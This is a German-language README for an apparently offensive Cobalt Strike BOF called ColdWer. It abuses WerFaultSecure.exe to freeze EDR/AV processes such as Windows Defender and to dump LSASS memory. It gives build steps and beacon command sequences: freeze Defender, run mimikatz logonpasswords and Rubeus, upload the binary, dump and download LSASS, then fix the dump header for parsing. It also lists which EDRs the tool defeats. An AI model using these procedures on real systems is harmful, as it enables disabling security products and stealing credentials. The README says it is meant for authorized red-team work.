
Cobalt Strike BOF zum Einfrieren von EDR/AV-Prozessen und Auslesen von LSASS mithilfe des WerFaultSecure.exe PPL-Bypasses
Ein kalter Krieg auf Ihrem Endpunkt.
ColdWer nutzt den WerFaultSecure.exe PPL-Bypass, um EDR/AV-Prozesse einzufrieren und den LSASS-Arbeitsspeicher auf modernen Windows-Systemen auszulesen.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
Frieren Sie Ihr EDR/AV ein. Extrahieren Sie, was Sie brauchen. Bleiben Sie kalt.
Sh3llf1r3 (@0xsh3llf1r3)
Dieses Projekt baut auf Forschungsergebnissen von TwoSevenOneT (@TwoSevenOneT) auf:
| Projekt | Beschreibung |
|---|---|
| EDR-Freeze | Ursprüngliche EDR-Freeze-Technik |
| WSASS | LSASS-Dump über WerFaultSecure |
Alle Anerkennung für die zugrundeliegenden Techniken gebührt TwoSevenOneT.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# Navigieren Sie zum Quellverzeichnis
cd src/
# Kompilieren des BOF (erfordert MinGW)
make
# Oder manuell:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o und coldwer.cna heruntercoldwer.cna in Cobalt Strike# Windows Defender PID finden
beacon> ps
# Prozess einfrieren
beacon> cw-freeze 1337
# Befehle ausführen während EDR/AV eingefroren ist
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# Auftauen wenn fertig
beacon> cw-unfreeze
# Schritt 1: Win8.1 WerFaultSecure.exe hochladen
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# Schritt 2: LSASS PID finden
beacon> ps
# Schritt 3: LSASS dumpen
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Schritt 4: Dump herunterladen
beacon> download C:\Windows\Temp\lsass.dmp
Ändern Sie den Datei-Header, um das Minidump-Format wiederherzustellen:
| Original (PNG) | Ändern zu (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
Befehle zum Wiederherstellen des Headers:
| Methode | Befehl |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
Anschließend mit Mimikatz parsen:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Befehl | Beschreibung |
|---|---|
cw-freeze <PID> [Pfad] | Prozess einfrieren |
cw-unfreeze | Zuvor eingefrorenen Prozess auftauen |
cw-dump <PID> <Pfad> | LSASS-Arbeitsspeicher dumpen |
# Einfrieren mit Standardpfad
beacon> cw-freeze 1337
# Benutzerdefinierte WerFaultSecure.exe verwenden
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# LSASS dumpen
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Auftauen wenn fertig
beacon> cw-unfreeze
| Ziel | Status |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ Funktioniert |
| LSASS (lsass.exe) | ✅ Funktioniert |
| Andere PPL-Prozesse | ✅ Funktioniert |
Funktioniert NICHT gegen EDRs mit Kernel-Mode-Selbstschutz:
| EDR | Status |
|---|---|
| Elastic Endpoint | ❌ Blockiert |
| CrowdStrike Falcon | ❌ Blockiert |
| SentinelOne | ❌ Blockiert |
| Carbon Black | ❌ Blockiert |
1. 🚀 WerFaultSecure.exe als PPL starten (WinTcb-Ebene)
↓
2. 🎯 WerFaultSecure hängt sich an den Zielprozess an
↓
3. ⏸️ MiniDumpWriteDump pausiert alle Ziel-Threads
↓
4. 🥶 WerFaultSecure selbst pausieren → Ziel bleibt eingefroren
↓
5. ✅ Befehle ausführen (EDR/AV kann nichts sehen!)
↓
6. 🔥 WerFaultSecure beenden → Ziel taut auf
| Version | Ausgabe |
|---|---|
| Windows 10/11 | Nur verschlüsselter Dump |
| Windows 8.1 | Roher, unverschlüsselter Dump |
⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS
Dieses Tool ist bestimmt für:
- Autorisierte Penetrationstests
- Red-Team-Operationen mit schriftlicher Genehmigung
- Sicherheitsforschung in kontrollierten Umgebungen
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Unbefugter Zugriff auf Computersysteme ist illegal.
MIT-Lizenz – Siehe LICENSE
🥶 Bleiben Sie kalt. Bleiben Sie leise. 🥶
⭐ Geben Sie diesem Repository einen Stern, wenn Sie es nützlich finden! ⭐
| Funktion | Beschreibung |
|---|
| ❄️ Freeze | Versetzt EDR/AV-Prozesse in einen Koma-Zustand |
| 🔓 Dump | Extrahiert LSASS-Speicher unter Umgehung von PPL |
| 🛡️ PPL-Bypass | Nutzt WerFaultSecure.exe auf WinTcb-Ebene |
| ⚡ Schnell | Inline-BOF-Ausführung |
| 🎯 Manuelle Steuerung | Sie entscheiden, wann eingefroren und aufgetaut wird |
| Fehler | Ursache | Lösung |
|---|
| Datei nicht gefunden | Ungültiger Pfad | WerFaultSecure.exe-Pfad überprüfen |
| Zugriff verweigert | Niedrige Berechtigungen | Als Administrator/SYSTEM ausführen |
| Ungültige Signatur | Nicht signierte Binärdatei | Ordnungsgemäß signierte WerFaultSecure.exe verwenden |
| Prozess existiert nicht | Falsche PID | PID mit dem Befehl ps überprüfen |
| Ziel geschützt | Kernel-Schutz | EDR hat Selbstschutz (nicht umgehbar) |
| Bereits eingefroren | Zustand hängt | Zuerst cw-unfreeze ausführen |